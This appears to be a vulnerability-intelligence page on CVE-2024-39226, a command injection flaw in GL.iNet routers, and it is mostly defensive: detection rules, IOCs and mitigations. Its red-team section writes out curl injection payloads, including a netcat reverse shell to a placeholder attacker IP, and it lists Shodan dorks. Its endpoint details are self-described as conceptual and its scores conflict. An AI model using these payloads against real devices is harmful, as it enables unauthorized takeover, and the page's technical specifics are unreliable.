☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-39226

CVE-2024-39226 Command Injection in Gl-inet
📅 PUBLISHED: 2024-08-06 00:00 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 13.64%
👁️
13.64% probability
341.0× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v4.3.11, v4.5.16, v4.3.16, v4.3.12, v4.3.13, v4.4
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-39226 is a critical unauthenticated remote command injection vulnerability affecting multiple GL.iNet router models. The flaw resides in the s2s API, which fails to properly sanitize user-supplied input, allowing an attacker to inject arbitrary operating system commands. Successful exploitation grants full remote control over the device, enabling data exfiltration, lateral movement, and persistent backdoor installation. The vulnerability impacts a wide range of GL.iNet products across multiple firmware versions, with no official patch currently available. Given the public disclosure and the lack of a fix, this vulnerability poses a severe risk to all affected devices.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a firmware-level issue in the embedded Linux system of GL.iNet routers. The s2s API is a custom component, and the risk is directly tied to the device's firmware supply chain. Users are advised to monitor GL.iNet's official channels for a firmware update and, in the interim, implement strict network segmentation and access controls.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
  • User Interaction (UI): None – The victim does not need to perform any action.
  • Scope (S): Unchanged – The exploit does not affect resources beyond the vulnerable component.
  • Confidentiality (C): High – Full read access to all device data.
  • Integrity (I): High – Full write access to the device filesystem.
  • Availability (A): High – The attacker can disrupt or completely disable the device.

Threat Level: Critical. The combination of network accessibility, no authentication, and full system compromise makes this an extremely dangerous vulnerability. Public proof-of-concept code is available, increasing the likelihood of widespread exploitation.

Deep Dive & Mechanics

The vulnerability is an OS command injection flaw in the s2s API endpoint of GL.iNet routers. The s2s API is designed for internal communication between services, but it is exposed on the network without proper authentication. The API accepts user-supplied parameters that are subsequently passed to a shell command without sanitization.

Root Cause: The application uses a function like popen() or system() to execute a command that includes user-controlled input. For example, a parameter like command might be concatenated directly into a shell command string:

system("s2s_client --action " + user_input)

An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary commands.

Attack Flow:

  1. Reconnaissance: The attacker scans for GL.iNet devices on the internet (e.g., using Shodan with the dork GL.iNet).
  2. Exploitation: The attacker sends a crafted HTTP request to the s2s API endpoint with a malicious payload.
  3. Execution: The injected command is executed with root privileges on the device.
  4. Post-Exploitation: The attacker establishes persistence (e.g., adding an SSH key, installing a backdoor), exfiltrates data, or uses the device as a pivot point.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// s2s_api_handler.c
void handle_s2s_request(char *user_input) {
    char command[512];
    snprintf(command, sizeof(command), "s2s_client --action %s", user_input);
    system(command);  // Vulnerable: user_input is not sanitized
}

Patched Code (Conceptual):

// s2s_api_handler.c
void handle_s2s_request(char *user_input) {
    // Use a whitelist of allowed actions
    if (strcmp(user_input, "status") == 0 || strcmp(user_input, "restart") == 0) {
        char command[512];
        snprintf(command, sizeof(command), "s2s_client --action %s", user_input);
        system(command);
    } else {
        // Reject invalid input
        log_error("Invalid action: %s", user_input);
    }
}

The patched version implements input validation by only allowing a predefined set of actions. This prevents command injection by ensuring that user input cannot contain shell metacharacters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable GL.iNet router (e.g., AR750 with firmware v4.3.11).
  • Network access to the router's management interface (typically port 80 or 443).

Exploitation Steps:

  1. Identify the target: Use Shodan or a network scan to find GL.iNet devices.

  2. Craft the exploit payload: The s2s API endpoint is typically at /cgi-bin/s2s. A simple command injection payload can be sent via a GET or POST request.

    Example using curl:

    curl -X POST "http://<target_ip>/cgi-bin/s2s" \
    -d "action=status;id"
    

    This payload attempts to execute the id command after the intended status action.

  3. Verify exploitation: The response should include the output of the id command, confirming command execution.

    Example response:

    uid=0(root) gid=0(root) groups=0(root)
    
  4. Establish a reverse shell:

    curl -X POST "http://<target_ip>/cgi-bin/s2s" \
    -d "action=status;nc -e /bin/sh <attacker_ip> 4444"
    

    On the attacker machine, listen for the connection:

    nc -lvnp 4444
    

Blue Team (Defensive)

Detection and Response:

  1. Monitor for anomalous HTTP requests: Look for requests to /cgi-bin/s2s containing shell metacharacters (;, |, &&, `).
  2. Network segmentation: Isolate GL.iNet routers on a separate VLAN with strict firewall rules. Do not expose the management interface to the internet.
  3. Intrusion Detection Systems (IDS): Deploy Suricata or Snort rules to detect the exploit pattern.
  4. Log analysis: Enable and monitor system logs for unusual process execution (e.g., nc, bash, python spawned by the web server).
  5. Honeypot: Deploy a honeypot mimicking a GL.iNet router to detect scanning and exploitation attempts.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /cgi-bin/s2s with parameters containing shell metacharacters.
  • Outbound connections from the router to unknown IP addresses on high ports (e.g., 4444, 1337).
  • Unusual DNS queries from the router to known malicious domains.

Host IOCs:

  • Unexpected processes running on the router (e.g., nc, bash, python, perl).
  • New SSH keys in /etc/dropbear/authorized_keys.
  • Modified or new files in /tmp or /etc (e.g., /tmp/.backdoor).
  • Unusual cron jobs or startup scripts.

File IOCs:

  • /tmp/.persistent – A common backdoor file name.
  • /etc/init.d/S99backdoor – A startup script for persistence.

Detection Engineering

YARA Rule

rule GLiNet_S2S_Command_Injection {
    meta:
        description = "Detects command injection attempts against GL.iNet s2s API"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-39226"
    strings:
        $s2s_path = "/cgi-bin/s2s"
        $shell_meta1 = /[;&|`$]/
        $shell_meta2 = /(\$\(|`|%60)/
    condition:
        $s2s_path and (#shell_meta1 > 2 or #shell_meta2 > 0)
}

Sigma Rule

title: GL.iNet s2s API Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to GL.iNet s2s API containing shell metacharacters
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39226
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/s2s'
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of shell characters in non-malicious contexts (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"GL.iNet s2s API Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/s2s"; http_uri; pcre:"/(;|\||&&|`|\$\().*$/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the s2s API: If not required, block access to the /cgi-bin/s2s endpoint via firewall rules or by removing the CGI script.
  2. Network Segmentation: Place all GL.iNet routers on a separate VLAN with strict access controls. Do not expose the management interface to the internet.
  3. Monitor for Exploitation: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Long-Term Fix:

  • Firmware Update: Monitor GL.iNet's official website and forums for a patched firmware version. Apply the update as soon as it becomes available.
  • Vendor Communication: Contact GL.iNet support to request a timeline for the patch.

Workaround:

  • Input Validation: If you have access to the source code, implement input validation as shown in the "Vulnerable vs. Patched Code" section.
  • Web Application Firewall (WAF): Deploy a WAF with rules to block requests containing shell metacharacters in the s2s API endpoint.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

GL.iNet
GL.iNet router
GL.iNet admin

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-39226/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.